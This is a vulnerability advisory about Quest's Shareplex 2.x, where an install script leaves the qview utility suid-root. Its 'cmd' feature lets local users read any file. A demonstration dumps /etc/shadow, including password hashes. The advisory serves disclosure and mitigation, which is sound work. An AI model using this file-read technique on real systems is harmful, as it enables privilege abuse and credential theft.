COMMAND

    Shareplex

SYSTEMS AFFECTED

    Shareplex 2.x

PROBLEM

    Dixie  Flatline  found  following.   Shareplex  (Quest  Software's
    product for Oracle database replication) contains a security  hole
    which  can  allow  local  users  to  read  any file on the system,
    effectively bypassing the permissions set at the OS level.

    One  of  the  scripts  called   when  the  product  is   installed
    (root.post) contains the following block of code:

        update_permissions()
        {
                if  get_mark marker OPT DIR; then
                        :
                else
                        get_mark marker OPT.$ORAVER DIR
                fi
                OD=$MARK
        
                chown root $OD/bin/sp_cop
                chmod 4555 $OD/bin/sp_cop
        
                chown root $OD/bin/CleanSP
                chmod 4550 $OD/bin/CleanSP
        
                chown root $OD/bin/qview
	        chmod 4555 $OD/bin/qview
        
                ...
        
                chown root $OD/install/splex_remove_script
                chmod 4555 $OD/install/splex_remove_script
        
                get_mark rootpre SPLEX GROUP
                SPLEX_GROUP=$MARK
                chgrp $SPLEX_GROUP $MARKERFILE
                chown root $MARKERFILE
                chmod o-w $MARKERFILE
        }

    This assigns  ownership of  several application  binaries to root,
    and then sets permissions on  them to read & execute  by everyone,
    and suid to root.  The  qview utility, which is used for  cleaning
    out queues  amongst other  things, is  one of  the tools  which is
    installed mode 4555. It has a feature which can compromise  system
    security when executed with superuser privileges.

    qview's  cmd  command  (which  is  used  to execute qview commands
    stored in a  file) opens any  user-specified file and  attempts to
    execute each line the file  contains.  Any errors encountered  are
    echoed to standard output.  A  user who can execute qview can  use
    this behavior to  read files on  the system to  which they do  not
    legitimately have access.   As the target  file will contain  data
    other than qview commands, that data will be echoed out to  stdout
    along with error messages.

    There are  a lot  of utilities  installed suid-root,  and this may
    not be the only one that contains vulnerabilities.

    Demonstration:

        $ id
        uid=500(foo) gid=200(bar)
        $ cd <path to shareplex binaries>
        $ ./qview
        qdump> cmd /etc/shadow
        Executing: root:xDmyz1K9xRKRo:11236::::::
        invalid command root:xDmyz1K9xRKRo:11236::::::
        ...
        Executing: splex:BdJCfh1D32hzo:11290::::::
        invalid command splex:BdJCfh1D32hzo:11290::::::
        Executing: foo:2MQXUgAcnOcEU:11344::::::
        invalid command foo:2MQXUgAcnOcEU:11344::::::
        qdump> quit
        $

    The same version of root.post is shipped for each of the supported
    unixes (Solaris 2.6,  HP/UX 10.20 &  11.00, AIX 3  and OSF/1 4.0).
    One would  expect qview  to display  the same  behavior on each of
    these  OSes,  but  Dixie  tested  only  on Solaris 2.6.  He tested
    Shareplex 2.1.3.9 and 2.2.2 (Beta, 11/02/00).

SOLUTION

    As currently implemented, qview needs  to run as root in  order to
    operate correctly.  However, the risk can be somewhat mitigated by
    changing  the  permissions  on  qview  to  4550,  and  making   it
    group-owned by a group containing only highly-trusted users.  This
    is not  a complete  solution to  the problem,  as any  user who is
    still allowed to  run qview can  still access files  to which they
    should  not  have  access  under  any  circumstances  (such as the
    shadow file).

    The issue is patched in SharePlex 2.1.3.21 and above.  The patched
    version  of  qview  seems  to  remove  the  offending fuctionality
    completely.